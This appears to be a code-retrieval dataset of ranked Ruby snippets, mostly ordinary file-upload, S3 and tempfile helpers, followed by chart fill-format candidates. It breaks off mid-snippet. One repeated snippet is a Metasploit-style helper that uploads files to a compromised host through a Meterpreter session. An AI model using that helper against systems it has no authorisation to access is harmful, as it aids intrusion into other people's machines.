"text": "def set_file(hash, key, top_level)\n return unless hash.key?(key)\n\n file = if hash[key].is_a?(Hash) && hash[key].key?(:file)\n hash[key].delete(:file)\n else\n hash.delete(key)\n end\n\n case file\n when File, Tempfile\n path = file.path\n when String\n path = file\n else\n if defined?(ActionDispatch) && file.is_a?(ActionDispatch::Http::UploadedFile)\n path = file.tempfile.path\n mime_type = file.content_type\n else\n warn \"WARNING: Passed invalid filename #{file} of type #{file.class} to upload\"\n end\n end\n\n if path\n if !top_level\n hash[key] ||= {}\n hash = hash[key]\n end\n\n unless defined?(mime_type) && !mime_type.nil?\n mime_type = MiniMime.lookup_by_filename(path)\n mime_type = mime_type ? mime_type.content_type : \"application/octet-stream\"\n end\n\n hash[:filename] ||= if file.respond_to?(:original_filename)\n file.original_filename\n else\n File.basename(path)\n end\n\n hash[:uploaded_data] = Faraday::UploadIO.new(path, mime_type, hash[:filename])\n end\n end",
"title": ""
},
{
"docid": "6662b3da52207f29b96bc5fcaa0ea25e",
"score": "0.58197117",
"text": "def upload_chunk(job, apikey, filepath, options)\n file = File.open(filepath)\n file.seek(job[:seek])\n chunk = file.read(FilestackConfig::DEFAULT_CHUNK_SIZE)\n md5 = Digest::MD5.new\n md5 << chunk\n data = {\n apikey: apikey,\n part: job[:part],\n size: chunk.length,\n md5: md5.base64digest,\n uri: job[:uri],\n region: job[:region],\n upload_id: job[:upload_id],\n store_location: options.nil? ? 's3' : options[:store_location],\n file: Tempfile.new(job[:filename])\n }\n data = data.merge!(options) if options\n fs_response = Unirest.post(\n FilestackConfig::MULTIPART_UPLOAD_URL, parameters: data,\n headers: FilestackConfig::HEADERS\n ).body\n Unirest.put(\n fs_response['url'], headers: fs_response['headers'], parameters: chunk\n )\n end",
"title": ""
},
{
"docid": "0139b1d0474643ca978ed5d74a29b674",
"score": "0.58183414",
"text": "def upload_file\n project = self.task.project\n task = self.task\n\n file = url_path.read\n self.original_name = url_path.original_filename\n self.version = DocumentTask.where(:name => self.name).count + 1\n\n final_name = \"#{self.name}.v#{self.version}#{File.extname(original_name)}\"\n file_path = project.name + \"/\" + task.name + \"/\" + final_name\n dbsession = DropboxSession.deserialize(project.dropbox_token)\n client = DropboxClient.new(dbsession)\n response = client.put_file(file_path, file)\n link = client.shares(response[\"path\"])\n self.url_path = link[\"url\"]\n end",
"title": ""
},
{
"docid": "3e01d49823adaa9eb6347d0022030e08",
"score": "0.58163023",
"text": "def upload(filename, args={})\n args['index'] = @name\n args['name'] = filename\n @service.request(:method => :POST,\n :resource => [\"data\", \"inputs\", \"oneshot\"],\n :body => args)\n end",
"title": ""
},
{
"docid": "907b8859cbf5572b2d5e77b7be883884",
"score": "0.581621",
"text": "def tf(name)\n path = \"/tmp/#{name}\"\n @tempfiles << path\n path\nend",
"title": ""
},
{
"docid": "c22affeae38953a04ca96723f76edcbb",
"score": "0.58157456",
"text": "def to_fileupload(result, filename, element_key)\n {\n success: result[:success],\n elementkey: element_key,\n error: result[:error],\n name: filename\n }\n end",
"title": ""
},
{
"docid": "041c1675b36e52dacf0b07540159f134",
"score": "0.5803471",
"text": "def upload\n end",
"title": ""
},
{
"docid": "041c1675b36e52dacf0b07540159f134",
"score": "0.5803471",
"text": "def upload\n end",
"title": ""
},
{
"docid": "75da475f06c4ae94a6b825cd83ada760",
"score": "0.5798688",
"text": "def upload_small_file(bucket, key, body)\n bucket.files.create key: key, body: body\nend",
"title": ""
},
{
"docid": "a6d04f05548e991f3181ba8296aa9306",
"score": "0.57985586",
"text": "def uploaded_data() nil; end",
"title": ""
},
{
"docid": "a6d04f05548e991f3181ba8296aa9306",
"score": "0.57985586",
"text": "def uploaded_data() nil; end",
"title": ""
},
{
"docid": "a6d04f05548e991f3181ba8296aa9306",
"score": "0.57985586",
"text": "def uploaded_data() nil; end",
"title": ""
},
{
"docid": "72eec045c3d2eae1f6892cb930f218e0",
"score": "0.5796242",
"text": "def create\n \n @temp_upload = Upload.new(params[:upload])\n \n if @temp_upload.record.nil?\n @temp_upload.record = Record.find(params[:record_id])\n end\n \n @upload = Upload.where(:record_id => @temp_upload.record_id, :upload_file_name => @temp_upload.upload_file_name).first\n\n if @upload.nil?\n @upload = Upload.create(params[:upload])\n else\n if @upload.upload_file_size.nil?\n @upload.upload_file_size = @temp_upload.upload_file_size\n else\n @upload.upload_file_size += @temp_upload.upload_file_size\n end\n \n end\n \n \n p = params[:upload]\n name = p[:upload].original_filename\n directory = \"#{DATASHARE_CONFIG['uploads_dir']}/\" + Record.find(@upload.record_id).local_id\n \n path = File.join(directory, \"temp_\" + name.gsub(\" \",\"_\"))\n File.open(path, \"ab\") { |f| f.write(p[:upload].read) }\n \n # delete jquery, switch to temp\n \n respond_to do |format|\n if @upload.save\n \n format.html {\n render :json => [@upload.to_jq_upload].to_json,\n :content_type => 'text/html',\n :layout => false\n \n }\n format.json { render json: {files: [@upload.to_jq_upload]}, status: :created, location: @upload }\n else\n format.html { render action: \"new\" }\n format.json { render json: @upload.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "640bf7deb80d2d9aea559a006111ef8b",
"score": "0.57917756",
"text": "def delete_file!(bucket_name:, key:); end",
"title": ""
},
{
"docid": "52933e592eda1d47863258b82bd09b1d",
"score": "0.5789211",
"text": "def upload(session,file,file_name,path,trgloc = nil)\n if not ::File.exists?(file)\n raise \"File to Upload does not exist!\"\n else\n if trgloc == nil\n location = session.fs.file.expand_path(path)\n else\n location = trgloc\n end\n begin\n fileontrgt = \"#{path}#{file_name}\"\n print_status(\"Uploading #{file} to #{path}\")\n session.fs.file.upload_file(\"#{fileontrgt}\",\"#{file}\")\n print_status(\"#{file} uploaded!\")\n rescue ::Exception => e\n print_status(\"Error uploading file #{file}: #{e.class} #{e}\")\n end\n end\n return fileontrgt\nend",
"title": ""
},
{
"docid": "52933e592eda1d47863258b82bd09b1d",
"score": "0.5789211",
"text": "def upload(session,file,file_name,path,trgloc = nil)\n if not ::File.exists?(file)\n raise \"File to Upload does not exist!\"\n else\n if trgloc == nil\n location = session.fs.file.expand_path(path)\n else\n location = trgloc\n end\n begin\n fileontrgt = \"#{path}#{file_name}\"\n print_status(\"Uploading #{file} to #{path}\")\n session.fs.file.upload_file(\"#{fileontrgt}\",\"#{file}\")\n print_status(\"#{file} uploaded!\")\n rescue ::Exception => e\n print_status(\"Error uploading file #{file}: #{e.class} #{e}\")\n end\n end\n return fileontrgt\nend",
"title": ""
},
{
"docid": "e8b7e6a5ac4b9bb26cbdff2df327d48b",
"score": "0.57841825",
"text": "def uploaded_file(object, &block)\n if object.is_a?(Hash) && !object.key?(\"storage\")\n versions(object).inject({}) do |result, (name, data)|\n result.update(name.to_sym => uploaded_file(data, &block))\n end\n else\n super\n end\n end",
"title": ""
},
{
"docid": "384331dd6d749d2e1b84402220b959a5",
"score": "0.57840204",
"text": "def upload_file_to_storage(filename_param: nil,\n file_param: nil,\n request_body: nil,\n s3_config: nil,\n timestamp: Time.now,\n allow_spaces: false,\n force_s3_upload: false,\n random_token: nil)\n results = {\n file_uri: nil,\n enqueue: true\n }\n\n load_file_from_request_body = false\n case\n when filename_param.present? && request_body.present?\n filename = filename_param.original_filename rescue filename_param.to_s\n begin\n filepath = filename_param.path\n rescue StandardError\n filepath = filename_param.to_s\n load_file_from_request_body = true\n end\n when file_param.present?\n filename = file_param.original_filename rescue file_param.to_s\n filepath = file_param.path rescue ''\n else\n return results\n end\n\n filename = filename.tr(' ', '_') unless allow_spaces\n\n random_token ||= Digest::SHA2.hexdigest(\"#{timestamp.utc}--#{filename.object_id}\").first(20)\n\n use_s3 = !s3_config.nil? && s3_config['access_key_id'].present? && s3_config['secret_access_key'].present? &&\n s3_config['bucket_name'].present? && s3_config['url_ttl'].present?\n\n file = nil\n if load_file_from_request_body\n file = filedata_from_params(filename_param, file_param, request_body, random_token, filename)\n filepath = file.path\n end\n\n do_long_upload = s3_config && s3_config['async_long_uploads'].present? && s3_config['async_long_uploads'] &&\n File.size(filepath) > MAX_SYNC_UPLOAD_S3_FILE_SIZE\n\n if use_s3 && (!do_long_upload || force_s3_upload)\n file_url = upload_file_to_s3(filepath, filename, random_token, s3_config)\n\n if load_file_from_request_body\n File.delete(file.path)\n end\n\n results[:file_uri] = file_url\n else\n unless load_file_from_request_body\n file = filedata_from_params(filename_param, file_param, request_body, random_token, filename)\n end\n\n results[:file_path] = file.path\n\n if use_s3 && do_long_upload\n results[:file_uri] = file.path[/(\\/uploads\\/.*)/, 1]\n results[:enqueue] = false\n else\n results[:file_uri] = file.path[/(\\/uploads\\/.*)/, 1]\n end\n end\n\n results\n end",
"title": ""
},
{
"docid": "b3bce77679b75677d4098ff62e6934e3",
"score": "0.57812655",
"text": "def create\n uploader = AttachmentUploader.new\n if params[:assignment][:assignment_test]\n uploader.store! params[:assignment][:assignment_test]\n end\n p = assignment_params\n if params[:assignment][:base_uri]\n base = Tempfile.new\n base.binmode\n base.write params[:assignment][:base_uri].read\n base.rewind\n base_obj = S3_BUCKET.object File.basename(base.path)\n base_obj.upload_file base.path\n end\n unless uploader.path.nil? or not p[:has_tests]\n buckob = S3_BUCKET.object File.basename(uploader.path)\n buckob.upload_file uploader.path\n p[:test_uri] = \"#{S3_BUCKET.name}/#{buckob.key}\" unless buckob.nil?\n end\n\n\n\n\n # ec_hash = Hash.new\n # p[:extra_credit].remove(\"\\r\").split(\"\\n\").each do |line|\n # pair = line.split(', ')\n # ec_hash[pair[0]] = pair[1].to_i\n # end\n # p[:extra_credit] = ec_hash\n p[:group_offset] = get_group_offset(p[:course_id])\n file = params[:assignment][:uploaded_file]\n p[:submitted_once] = false\n uploader = AttachmentUploader.new\n uploader.store! file\n p[:base_uri] = \"#{S3_BUCKET.name}/#{base_obj.key}\"\n @assignment = Assignment.new(p)\n @assignment.moss_running = false\n respond_to do |format|\n if @assignment.save!\n # byebug\n if @assignment.has_resubmission\n resubmit_params = p.clone\n resubmit_params[:name] = \"#{p[:name]} RESUBMIT\"\n resubmit = Assignment.new(resubmit_params)\n resubmit.save!\n @assignment.resubmit = resubmit\n end\n\n @assignment.save!\n @orig_csv = CSV.read(params[:assignment][:orig_csv].path)\n if params[:assignment][:resub_csv]\n @resub_csv = CSV.read(params[:assignment][:resub_csv].path)\n else\n @resub_csv = nil\n end\n\n create_submissions_from_assignment @assignment, @orig_csv, @resub_csv\n format.html { redirect_to course_path(@assignment.course), notice: 'Assignment was successfully created.' }\n format.json { render :show, status: :created, location: @assignment }\n else\n format.html { render :new }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f5df94d4d910b5f005c075202c3bfa89",
"score": "0.5779913",
"text": "def uploader; end",
"title": ""
},
{
"docid": "f5df94d4d910b5f005c075202c3bfa89",
"score": "0.5779913",
"text": "def uploader; end",
"title": ""
},
{
"docid": "4d3ccc9c24fd03df8e9288c55a9e9bcd",
"score": "0.57625437",
"text": "def tmp_files; end",
"title": ""
},
{
"docid": "4d3ccc9c24fd03df8e9288c55a9e9bcd",
"score": "0.57625437",
"text": "def tmp_files; end",
"title": ""
},
{
"docid": "4d3ccc9c24fd03df8e9288c55a9e9bcd",
"score": "0.57625437",
"text": "def tmp_files; end",
"title": ""
},
{
"docid": "c1a22d8dfe9f1931d30a28d48d806f55",
"score": "0.576227",
"text": "def tmp_path=(_arg0); end",
"title": ""
},
{
"docid": "d5f42ba573951510767ea1c7835210ad",
"score": "0.5758618",
"text": "def purge_temp_files\n\n file_path = \"#{Rails.root}/#{DATASHARE_CONFIG['uploads_dir']}/#{self.local_id}\"\n\n self.uploads.each do |d|\n\n # a temporary terrible hack to avoid the file corruption problem\n # on chunked uploads\n\n if File.exist?(file_path + \"/temp_\" + d.upload_file_name)\n File.delete(file_path + \"/\" + d.upload_file_name)\n File.rename(file_path + \"/temp_\" + d.upload_file_name, file_path + \"/\" + d.upload_file_name)\n end\n end\n end",
"title": ""
},
{
"docid": "6cee5a31061d4de149432dd9db666a71",
"score": "0.5754576",
"text": "def image_save_path\n \"tmp/images/#{@key}\"\n end",
"title": ""
},
{
"docid": "1edf81dfca89512b1f4f9051da02a3b4",
"score": "0.57439476",
"text": "def save_uploaded_file(params, uid)\n raise \"No input image\" unless params[:file]\n raise \"No input image - Failed to create tempfile\" unless params[:file][:tempfile]\n raise \"No input image - No filename\" unless params[:file][:filename]\n\n file_name = params[:file][:filename]\n input_data = {src_file: file_name }\n\n ext = File.extname(params[:file][:tempfile].path)\n save_path = \"./#{UploadedImgDir}/#{uid}#{ext}\"\n\n File.open(save_path, 'wb') do |f|\n f.write params[:file][:tempfile].read\n end\n\n [save_path, input_data]\nend",
"title": ""
},
{
"docid": "81fc21a2cd1a2b6b3d1db161144a0608",
"score": "0.5743746",
"text": "def upload (fname, folder)\n \n raise \"ERROR: Invalid S3 location: #{folder}\" unless validate_s3(folder)\n fname_array = folder.split(':')\n bucket_name = fname_array[0]\n key_name = fname_array[1].chomp('/') + '/'\n key = RightAws::S3::Key.create( bucket = RightAws::S3::Bucket.create(@s3, bucket_name, true), \"#{key_name}#{fname}\")\n key.data = File.new(fname).read\n key.put\n DaemonKit.logger.info \"Uploaded #{fname} --> #{bucket_name}:#{key.to_s}\"\n return \"#{bucket_name}:#{key.to_s}\"\n \n end",
"title": ""
},
{
"docid": "920da10e9f8357ca26883fb9f20ea547",
"score": "0.57325786",
"text": "def replace_with(filename)\n response = Fleakr::Api::UploadRequest.with_response!(filename, :photo_id => self.id, :type => :update)\n self.populate_from(response.body)\n self\n end",
"title": ""
},
{
"docid": "f9733980f58f75c951ea34254f0638f4",
"score": "0.57321274",
"text": "def call\n uploaded_file = shrine_class.uploaded_file(storage: upload_storage, id: upload_location)\n uploaded_file if uploaded_file.exists?\n end",
"title": ""
},
{
"docid": "fcdc162f039ac29258ef21aa6c673c9c",
"score": "0.57299",
"text": "def store_blob(obj,field_name,blob)\n blob[:tempfile].path if blob[:tempfile]\n end",
"title": ""
},
{
"docid": "81c72e408955d51ea290a1c03cb82441",
"score": "0.572835",
"text": "def headers_for_direct_upload(key, filename:, content_type:, content_length:, checksum:); end",
"title": ""
},
{
"docid": "e4c8f62dea0aae144ce34b968ce6c268",
"score": "0.5718858",
"text": "def upload file_name, text_content\n local_file = Tempfile.new \"language-test-file\"\n File.write local_file.path, text_content\n @bucket.create_file local_file.path, file_name\n @uploaded << file_name\n ensure\n local_file.close\n local_file.unlink\n end",
"title": ""
},
{
"docid": "c2fe3bbfe34d4d5ffc4435ac20c61c3c",
"score": "0.5716738",
"text": "def upload_params(prefix, opts={})\n return if prefix.blank?\n\n expires = (opts[:expires] || 30.minutes).from_now.utc.strftime('%Y-%m-%dT%H:%M:%S.000Z')\n bucket = AmazonHelper.bucket\n acl = (opts[:public] == true) ? 'public-read' : 'private'\n max_filesize = opts[:max_filesize] || 200.megabyte\n\n policy = Base64.encode64(\n \"{'expiration': '#{expires}',\n 'conditions': [\n {'bucket': '#{bucket}'},\n ['starts-with', '$key', '#{prefix}'],\n {'acl': '#{acl}'},\n {'success_action_status': '201'},\n ['content-length-range', 0, #{max_filesize}]\n ]\n }\").gsub(/\\n|\\r/, '')\n\n signature = Base64.encode64(\n OpenSSL::HMAC.digest(\n OpenSSL::Digest::Digest.new('sha1'),\n secret_key,\n policy)\n ).gsub(\"\\n\",\"\")\n\n {\n :key => \"#{prefix}/${filename}\",\n :acl => acl,\n :policy => policy,\n :signature => signature,\n :AWSAccessKeyId => access_key,\n :success_action_status => 201\n }\n end",
"title": ""
},
{
"docid": "9f0732be5e04cd43ab79ee5ed83a1719",
"score": "0.5715133",
"text": "def store\n puts \"Storing \\\"#{final_file}\\\" to bucket \\\"#{s3_bucket}\\\" on Amazon S3.\"\n object.store(\n final_file,\n open(File.join(tmp_path, final_file)),\n s3_bucket )\n end",
"title": ""
},
{
"docid": "c8fd7aa72da7b4cb888d5d9e796786a1",
"score": "0.5715088",
"text": "def file_upload\n @project = Project.find params[:id]\n tmp = params[:file].tempfile\n file = File.join @project.satellitedir, params[:file].original_filename\n FileUtils.cp tmp.path, file\n if params[:file]\n image_commit @project, params[:file]\n flash[:notice] = \"Your new image was added successfully! How sparkly!\"\n else\n flash[:alert] = \"Your new image didn't get saved! How sad :(\"\n end\n redirect_to @project.urlbase\n end",
"title": ""
},
{
"docid": "a3266b71e8c271a201cfcdc6e8107c8d",
"score": "0.5710946",
"text": "def update_tmp_file_names(item)\n file_ext = item.art_image_tmp_paths['origin'].split('.')[-1]\n # update all tmp to .jpg and update item.art_image_tmp_paths field\n if file_ext == 'jpg_or_png'\n file_path = \"#{Rails.root}/public#{item.art_image_tmp_paths['origin']}\"\n folder_path = File.dirname(File.new(file_path))\n Dir.glob(\"#{folder_path}/*.jpg_or_png\").each do |f|\n FileUtils.mv f, \"#{File.dirname(f)}/#{File.basename(f,'.*')}.jpg\"\n end \n item.art_image_tmp_paths.each do |ver, path|\n path.gsub!('jpg_or_png', 'jpg')\n end\n item.update_column('art_image_tmp_paths', item.art_image_tmp_paths)\n end\n end",
"title": ""
},
{
"docid": "3c15c708518e5b238006473eaabcdfe5",
"score": "0.5710008",
"text": "def temp_path\n \"#{UPLOAD_PATH}/#{@date_time_created}\"\n end",
"title": ""
},
{
"docid": "3c15c708518e5b238006473eaabcdfe5",
"score": "0.5710008",
"text": "def temp_path\n \"#{UPLOAD_PATH}/#{@date_time_created}\"\n end",
"title": ""
},
{
"docid": "06cde9cb4249f83785b8147ed184f9c2",
"score": "0.5709113",
"text": "def filename\n \"uploaded_image\" if original_filename\n end",
"title": ""
},
{
"docid": "73cd4afa18b25577399a7ce3e8b6fc37",
"score": "0.5705822",
"text": "def replace_with(filename)\n response = Fleakr::Api::UploadRequest.with_response!(filename, :update, :photo_id => self.id)\n self.populate_from(response.body)\n self\n end",
"title": ""
},
{
"docid": "0a5ebe2c98d34443ef977bea9c7e52dc",
"score": "0.5704419",
"text": "def tempfile=(_arg0); end",
"title": ""
},
{
"docid": "db8d30a7de4a79888d4d7d12955ac3a5",
"score": "0.5698572",
"text": "def retrieve!(key)\n CarrierWave::Storage::Elasticsearch::File.new(uploader, self, uploader.index, key)\n end",
"title": ""
},
{
"docid": "96104a436966bd2cd68fc9ec5ddb2aab",
"score": "0.56977123",
"text": "def uploaded_file\n unless self.batch == true\n if self.file != \"\"\n self.file_name_all = sanitize_fn(file.original_filename)\n self.file_name_base = file_name_all.split('.')[0]\n self.extension = file_name_all.split('.')[1]\n self.content_type = file.content_type.strip\n zip_url = \"#{Z_URL}/zips/#{file_name_all}\"\n write_attribute(\"zip_url\", zip_url)\n write_attribute(\"z_name\", file_name_base)\n end\n end\n end",
"title": ""
},
{
"docid": "01131a5d9aa7ec225344e14e7741f0c1",
"score": "0.5695703",
"text": "def upload_to_store\n Store.set \\\n filename(:screenshot),\n tmp_path(:screenshot)\n Store.set \\\n filename(:thumbnail), \n tmp_path(:thumbnail)\n end",
"title": ""
},
{
"docid": "49f0430d7b19ef3b4afab82ba6192a24",
"score": "0.5692188",
"text": "def put\n raise RequestError.new(:bad_param, \"Parameter 'filename' is not valid\") if params[:filename].nil? || params[:filename].empty?\n raise RequestError.new(:bad_param, \"Parameter 'content_hash' is not valid\") if params[:content_hash].nil? || params[:content_hash].empty?\n raise RequestError.new(:bad_param, \"Parameter 'size' is not valid\") if params[:size].nil? || params[:size].empty? || params[:size].to_i <= 0\n raise RequestError.new(:bad_param, \"Current account doesn't have enough to space to store this file\") unless session[:user].can_add_file_size(params[:size].to_i)\n \n # if file already exist...\n XFile.all(user: session[:user], name: params[:filename]).each do |file|\n # error if already uploaded\n raise RequestError.new(:bad_param, \"File already exists\") if file.uploaded\n # otherwise return needed parts\n params[:id] = file.id\n needed_parts\n return \n end\n\n # find if the content already exist\n current_content = Content.first content_hash: params[:content_hash]\n already_uploaded = (current_content ? current_content.uploaded : false)\n # create a WFile\n file = WFile.create(session[:user], params[:filename])\n # if already uploaded do nothing\n if current_content && already_uploaded\n file.uploaded = true\n @result = { success: true, uploaded: true }\n # otherwise create a content, set the file as non-uploaded and return everything\n else\n current_content = Content.create(params[:content_hash], params[:size].to_i) if current_content.nil?\n @result = { success: true, uploaded: false, needed_parts: current_content.needed_parts, part_size: PART_SIZE }\n end\n # set the current content to the current file\n file.content = current_content\n # save the file and its parents\n file.update_and_save\n session[:user].add_file_size current_content.size\n session[:user].save\n @result.merge!({ file: file.description })\n end",
"title": ""
},
{
"docid": "47bb71f5237959cbdbe0df34e63ac9fc",
"score": "0.56873053",
"text": "def perform\n job = job_class.new(properties)\n job.id = job_id if job_id\n upload_file(job)\n job.save!\n rescue StandardError => exc\n # Prevent partial uploads\n job&.cleanup! if job.respond_to?(:cleanup!)\n raise(exc)\n end",
"title": ""
},
{
"docid": "7924f007e7f6176202e09b4e5bcba9d3",
"score": "0.5683598",
"text": "def store_blob(obj,field_name,blob)\n super #=> returns blob[:tempfile]\n end",
"title": ""
},
{
"docid": "92d2cb5b76e60175090fb2bfb732df96",
"score": "0.5677496",
"text": "def copy_to_klfile\n new_filename = SecureRandom.urlsafe_base64 + '.' + @file_uri.extension\n\n source = bucket.objects[\"#{@file_uri.key}/#{@file_uri.filename}\"]\n target = \"#{@file_uri.key}/#{new_filename}\"\n\n source.copy_to target, { acl: :public_read }\n\n new_filename\n end",
"title": ""
},
{
"docid": "4f60e1e588dd6fa19cac0cad41c94660",
"score": "0.5675956",
"text": "def store_filename\n @previous_filename = self.filename.dup\n end",
"title": ""
},
{
"docid": "b79191df15cd6784caf5f405f9825075",
"score": "0.56693053",
"text": "def filename\n \"#{secure_token}.jpg\" if original_filename.present?\n end",
"title": ""
},
{
"docid": "4d6f7c64dac91d2221224965d7cf1532",
"score": "0.5667096",
"text": "def filename\n \"#{secure_token}.#{file.extension}\" if original_filename.present?\n end",
"title": ""
},
{
"docid": "75fdfc426bcd6993016a51a66195ae7a",
"score": "0.56630266",
"text": "def store_blob(object,field_name,blob)\n super #=> returns blob[:tempfile]\n end",
"title": ""
},
{
"docid": "75fdfc426bcd6993016a51a66195ae7a",
"score": "0.56630266",
"text": "def store_blob(object,field_name,blob)\n super #=> returns blob[:tempfile]\n end",
"title": ""
}
] |
7b6980cff5ceaee08fbdf81b4f7ecb43 | Gets fill format of the ChartArea of a chart chart_index | [
{
"docid": "132accc8e39aa4f58dd29f4a5ceb5714",
"score": "0.7579569",
"text": "def get_fill_format(chart_index)\n begin\n if(@filename=='')\n raise \"Base file not specified\"\n end\n if(@worksheetname=='')\n raise \"Worksheet is not specified\"\n end\n str_uri = $productURI + \"/cells/\" + @filename + \"/worksheets/\" + @worksheetname + \"/charts/\" + chart_index.to_s + \"/chartArea/fillFormat\"\n signed_uri = Common::Utils.sign(str_uri) \n response = RestClient.get signed_uri, {:accept => 'application/json'}\n json = JSON.parse(response)\n return json[\"FillFormat\"]\n rescue Exception=>e\n print e\n end\n end",
"title": ""
}
] | [
{
"docid": "3d48aead3782799a435d9381747410bf",
"score": "0.6687851",
"text": "def get_chart_area(chart_index)\n begin\n if(@filename=='')\n raise \"Base file not specified\"\n end\n if(@worksheetname=='')\n raise \"Worksheet is not specified\"\n end\n str_uri = $productURI + \"/cells/\" + @filename + \"/worksheets/\" + @worksheetname + \"/charts/\" + chart_index.to_s + \"/chartArea\"\n signed_uri = Common::Utils.sign(str_uri) \n response = RestClient.get signed_uri, {:accept => 'application/json'}\n json = JSON.parse(response)\n return json[\"ChartArea\"]\n rescue Exception=>e\n print e\n end\n end",
"title": ""
},
{
"docid": "9acf4c34d661f1be5d51118842fd7a81",
"score": "0.5540848",
"text": "def basic_area_rect(index)\n rect = item_rect_for_text(index)\n rect.width -= gauge_area_width + 10\n rect\n end",
"title": ""
},
{
"docid": "e44dc0d41ac8ed9db00c0af05d368b55",
"score": "0.54242265",
"text": "def fill_color()\n validate_worksheet\n xf = @workbook.get_style_attributes(@workbook.get_style(@style_index))\n return @workbook.get_fill_color(xf)\n end",
"title": ""
},
{
"docid": "61caec49a9c94ccba3da32c836beb980",
"score": "0.5424213",
"text": "def gauge_area_rect(index)\n rect = item_rect_for_text(index)\n rect.x += rect.width - gauge_area_width\n rect.width = gauge_area_width\n rect\n end",
"title": ""
},
{
"docid": "c6ef415a1141ea3631e3f35e2d480f44",
"score": "0.53691983",
"text": "def area(index)\n get_field_from_relationship(workspace_id(index), @fields_extra[:area])\n end",
"title": ""
},
{
"docid": "16f4f95c57388d7056c3be956b708b36",
"score": "0.53633994",
"text": "def get_area_properties(arg) # :nodoc:\n area = {}\n\n # Map deprecated Spreadsheet::WriteExcel fill colour.\n arg[:fill] = { :color => arg[:color] } if arg[:color]\n\n # Map deprecated Spreadsheet::WriteExcel line_weight.\n if arg[:line_weight]\n width = get_swe_line_weight(arg[:line_weight])\n arg[:border] = { :width => width }\n end\n\n # Map deprecated Spreadsheet::WriteExcel line_pattern.\n if arg[:line_pattern]\n pattern = get_swe_line_pattern(arg[:line_pattern])\n if pattern == 'none'\n arg[:border] = { :none => 1 }\n else\n arg[:border][:dash_type] = pattern\n end\n end\n\n # Map deprecated Spreadsheet::WriteExcel line colour.\n arg[:border][:color] = arg[:line_color] if arg[:line_color]\n\n # Handle Excel::Writer::XLSX style properties.\n\n # Set the line properties for the chartarea.\n line = get_line_properties(arg[:line])\n\n # Allow 'border' as a synonym for 'line'.\n line = get_line_properties(arg[:border]) if (arg[:border])\n\n # Set the fill properties for the chartarea.\n fill = get_fill_properties(arg[:fill])\n\n area[:_line] = line\n area[:_fill] = fill\n\n return area\n end",
"title": ""
},
{
"docid": "91aa6df33885559f225680a2154aebef",
"score": "0.5297092",
"text": "def get_border(chart_index)\n begin\n if(@filename=='')\n raise \"Base file not specified\"\n end\n if(@worksheetname=='')\n raise \"Worksheet is not specified\"\n end\n str_uri = $productURI + \"/cells/\" + @filename + \"/worksheets/\" + @worksheetname + \"/charts/\" + chart_index.to_s + \"/chartArea/border\"\n signed_uri = Common::Utils.sign(str_uri) \n response = RestClient.get signed_uri, {:accept => 'application/json'}\n json = JSON.parse(response)\n return json[\"Line\"]\n rescue Exception=>e\n print e\n end\n end",
"title": ""
},
{
"docid": "ff2d175652c91787b9e56b302bf2ca4a",
"score": "0.5218117",
"text": "def format idx\n @formats[idx] || @default_format \\\n || @worksheet.column(idx).default_format if @worksheet\n end",
"title": ""
},
{
"docid": "c79b4fe43a82c3d2fff540195337301d",
"score": "0.5121159",
"text": "def write_chart_type; end",
"title": ""
},
{
"docid": "0653926bfb0e405cba0a2de9255e920a",
"score": "0.50924444",
"text": "def modify_fill(workbook, style_index, rgb)\n xf_obj = workbook.get_style(style_index)\n xf = workbook.get_style_attributes(xf_obj)\n #modify fill array\n fill_id = xf[:fillId]\n\n fill = workbook.fills[fill_id.to_s][:fill]\n if workbook.fills[fill_id.to_s][:count] > 1 || fill_id == 0 || fill_id == 1\n old_size = workbook.fills.size.to_s\n workbook.fills[old_size] = {}\n workbook.fills[old_size][:fill] = deep_copy(fill)\n workbook.fills[old_size][:count] = 1\n workbook.fills[fill_id.to_s][:count] -= 1\n\n change_wb_fill(workbook, old_size,rgb)\n\n #modify styles array\n fill_id = old_size\n if workbook.cell_xfs[:xf].is_a?Array\n workbook.cell_xfs[:xf] << deep_copy({:attributes=>xf})\n else\n workbook.cell_xfs[:xf] = [workbook.cell_xfs[:xf], deep_copy({:attributes=>xf})]\n end\n xf = workbook.get_style_attributes(workbook.cell_xfs[:xf].last)\n xf[:fillId] = fill_id\n xf[:applyFill] = '1'\n workbook.cell_xfs[:attributes][:count] += 1\n return workbook.cell_xfs[:xf].size-1\n else\n change_wb_fill(workbook, fill_id.to_s,rgb)\n return style_index\n end\n end",
"title": ""
},
{
"docid": "b81335ede1678700fa2fce62e6f438a9",
"score": "0.4961484",
"text": "def time_flexible_area_chart(path, options = {})\n\t\t\t\treturn time_flexible_chart(:area, path, options)\n\t\t\tend",
"title": ""
},
{
"docid": "84ecca2567098c5e5c332a26dfb40c34",
"score": "0.48915103",
"text": "def area(index)\n i = get_field_index_by_external_id(index,@fields[:area])\n fields(index, i)['item_id'].to_i unless i.nil?\n end",
"title": ""
},
{
"docid": "3806d7dbe26771900149772cbbb7a0ef",
"score": "0.48011455",
"text": "def gauge_area_width\n return 220\n end",
"title": ""
},
{
"docid": "794044e8a2c0e5a58853e74c1a547cf5",
"score": "0.47067553",
"text": "def getchart()\n # The data for the area chart\n data = [3.0, 2.8, 4.0, 5.5, 7.5, 6.8, 5.4, 6.0, 5.0, 6.2, 7.5, 6.5, 7.5, 8.1, 6.0,\n 5.5, 5.3, 3.5, 5.0, 6.6, 5.6, 4.8, 5.2, 6.5, 6.2]\n\n # The labels for the area chart\n labels = [\"0\", \"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"10\", \"11\", \"12\",\n \"13\", \"14\", \"15\", \"16\", \"17\", \"18\", \"19\", \"20\", \"21\", \"22\", \"23\", \"24\"]\n\n # Create a XYChart object of size 300 x 180 pixels. Set the background to pale\n # yellow (0xffffa0) with a black border (0x0)\n c = ChartDirector::XYChart.new(300, 180, 0xffffa0, 0x000000)\n\n # Set the plotarea at (45, 35) and of size 240 x 120 pixels. Set the background to\n # white (0xffffff). Set both horizontal and vertical grid lines to black (&H0&)\n # dotted lines (pattern code 0x0103)\n c.setPlotArea(45, 35, 240, 120, 0xffffff, -1, -1, c.dashLineColor(0x000000,\n 0x000103), c.dashLineColor(0x000000, 0x000103))\n\n # Add a title to the chart using 10 pts Arial Bold font. Use a 1 x 2 bitmap\n # pattern as the background. Set the border to black (0x0).\n c.addTitle(\"Snow Percipitation (Dec 12)\", \"arialbd.ttf\", 10).setBackground(\n c.patternColor([0xb0b0f0, 